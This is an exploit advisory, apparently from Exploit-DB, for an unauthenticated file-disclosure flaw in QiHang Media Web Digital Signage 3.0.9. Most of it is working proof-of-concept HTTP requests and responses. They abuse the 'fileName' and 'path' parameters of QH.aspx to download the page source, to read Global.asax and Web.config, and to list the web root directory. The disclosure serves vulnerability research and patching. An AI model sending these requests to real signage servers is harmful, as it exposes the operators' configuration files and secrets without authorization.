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QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Disclosure

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# Exploit Title: QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Disclosure
# Date: 2020-08-12
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.howfor.com
# Tested on: Microsoft Windows Server 2012 R2 Datacenter
# CVE : N/A

QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Arbitrary File Disclosure Vulnerability


Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.
        Guangzhou Hefeng Automation Technology Co., Ltd.
Product web page: http://www.howfor.com
Affected version: 3.0.9.0

Summary: Digital Signage Software.

Desc: The application suffers from an unauthenticated file disclosure
vulnerability when input passed thru the 'filename' parameter when
using the download action or thru 'path' parameter when using the
getAll action is not properly verified before being used. This can
be exploited to disclose contents of files and directories from local
resources.

Tested on: Microsoft Windows Server 2012 R2 Datacenter
           Microsoft Windows Server 2003 Enterprise Edition
           ASP.NET 4.0.30319
           HowFor Web Server/5.6.0.0
           Microsoft ASP.NET Web QiHang IIS Server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5581
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5581.php


27.07.2020

--


Source code disclosure PoC:
---------------------------

GET /QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fQH.aspx HTTP/1.1
Host: 192.168.1.74:8090
User-Agent: lfi_test.wrapper/2.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

--

HTTP/1.1 200 OK
Server: HowFor Web Server/5.6.0.0
Date: Sun, 26 Jul 2020 22:49:08 GMT
X-AspNet-Version: 4.0.30319
Content-Disposition: attachment;filename=QH.aspx
Set-Cookie: ASP.NET_SessionId=f0xji5cazmbzdygcr5g3qr03; path=/; HttpOnly
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: application/zip
Content-Length: 463
Connection: Close

<%@ Page Language="C#" ValidateRequest="false" AutoEventWireup="true" CodeBehind="QH.aspx.cs" Inherits="QiHang.Media.Web.QH" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    
    </div>
    </form>
</body>
</html>


Arbitrary file read:
--------------------

http://192.168.1.74:8090/QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fGlobal.asax
http://192.168.1.74:8090/QH.aspx?responderId=ResourceNewResponder&action=view&fileName=.%2fWeb.config


Directory contents disclosure:
------------------------------

POST /QH.aspx HTTP/1.1
Host: 192.168.1.74:8090
Content-Length: 62
User-Agent: lfi_test.wrapper/2.9
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

responderId=ResourceNewResponder&action=getAll&path=&fileName=

--

HTTP/1.1 200 OK
Server: HowFor Web Server/5.6.0.0
Date: Tue, 28 Jul 2020 23:51:13 GMT
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=f0ac1jyifcacvufnpptduv1f; path=/; HttpOnly
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 4680
Connection: Close

{
  "first": true,
  "second": [
    {
      "name": "App_Data",
      "type": "folder",
      "size": 852992.0,
      "uploadTime": new Date(
        1525316885250
      ),
      "path": "/App_Data"
    },
    {
      "name": "bin",
      "type": "folder",
      "size": 4398172.0,
      "uploadTime": new Date(
        1525316885046
      ),
...
...
      "name": "xml",
      "type": "folder",
      "size": 25519.0,
      "uploadTime": new Date(
        1525316885234
      ),
      "path": "/xml"
    },
    {
      "name": "default.htm",
      "type": ".htm",
      "size": 1609.0,
      "uploadTime": new Date(
        1523859040000
      ),
      "path": "/default.htm"
    },
    {
      "name": "Global.asax",
      "type": ".asax",
      "size": 100.0,
      "uploadTime": new Date(
        1523859032000
      ),
      "path": "/Global.asax"
    },
    {
      "name": "IIS.dll",
      "type": ".dll",
      "size": 40960.0,
      "uploadTime": new Date(
        1523859036000
      ),
...
...
      "path": "/Media.Server.DeamonPlugin.Web.xml"
    },
    {
      "name": "preview.htm",
      "type": ".htm",
      "size": 947.0,
      "uploadTime": new Date(
        1523859040000
      ),
      "path": "/preview.htm"
    },
    {
      "name": "QH.aspx",
      "type": ".aspx",
      "size": 463.0,
      "uploadTime": new Date(
        1523859030000
      ),
      "path": "/QH.aspx"
    },
    {
      "name": "server.xml",
      "type": ".xml",
      "size": 206.0,
      "uploadTime": new Date(
        1523859034000
      ),
      "path": "/server.xml"
    },
    {
      "name": "Web.config",
      "type": ".config",
      "size": 2470.0,
      "uploadTime": new Date(
        1523859034000
      ),
      "path": "/Web.config"
    }
  ],
  "third": 0
}
            
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